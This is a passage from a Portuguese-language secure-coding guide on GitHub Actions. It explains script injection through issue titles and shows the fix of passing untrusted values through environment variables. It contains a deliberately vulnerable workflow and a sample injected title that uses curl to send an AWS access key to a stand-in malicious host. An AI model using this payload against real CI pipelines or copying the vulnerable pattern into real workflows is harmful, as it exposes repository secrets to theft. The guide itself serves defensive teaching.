Quando usamos GitHub Actions, estamos executando código automaticamente dentro de um ambiente de CI/CD. Isso significa que qualquer vulnerabilidade pode ser explorada para comprometer seu repositório, suas credenciais e até sua infraestrutura. Aqui estão algumas práticas essenciais para manter seus workflows seguros.
O exemplo abaixo contém uma vulnerabilidade de injeção de script, onde um atacante pode manipular um valor externo (como o título de um issue) e executar comandos não autorizados.
name: Label Issues (Script Injection Example)
on:
issues:
types:
- opened
jobs:
assign-label:
runs-on: ubuntu-latest
steps:
- name: Assign label
run: |
issue_title="${{ github.event.issue.title }}"
if [[ "$issue_title" == *"bug"* ]]; then
echo "Issue is about a bug!"
else
echo "Issue is not about a bug"
fi
Se um atacante criar um issue com o seguinte título:
<aside> 💡
a"; echo Got your Secrets"
</aside>
Isso fecha a string, inicia um novo comando (echo Got your Secrets) e pode ser usado para roubar variáveis secretas ou executar código malicioso no runner do GitHub Actions.
Exemplo mais perigoso:
<aside> 💡
a"; curl <http://malicioso.com?secrets=$AWS_ACCESS_KEY_ID>"
</aside>
Isso poderia enviar suas credenciais AWS para um servidor externo.
Para evitar isso, nunca passe valores externos diretamente para comandos shell. Use variáveis de ambiente, que são tratadas como strings seguras.
name: Label Issues (Script Injection Example)
on:
issues:
types:
- opened
jobs:
assign-label:
runs-on: ubuntu-latest
steps:
- name: Assign label
env:
TITLE: ${{ github.event.issue.title }}
run: |
if [[ "$TITLE" == *"bug"* ]]; then
echo "Issue is about a bug!"
else
echo "Issue is not about a bug"
fi
Agora, $TITLE será tratado como uma string literal dentro do shell, eliminando o risco de execução de código malicioso.
Actions podem executar qualquer lógica, incluindo maliciosas. Um action pode: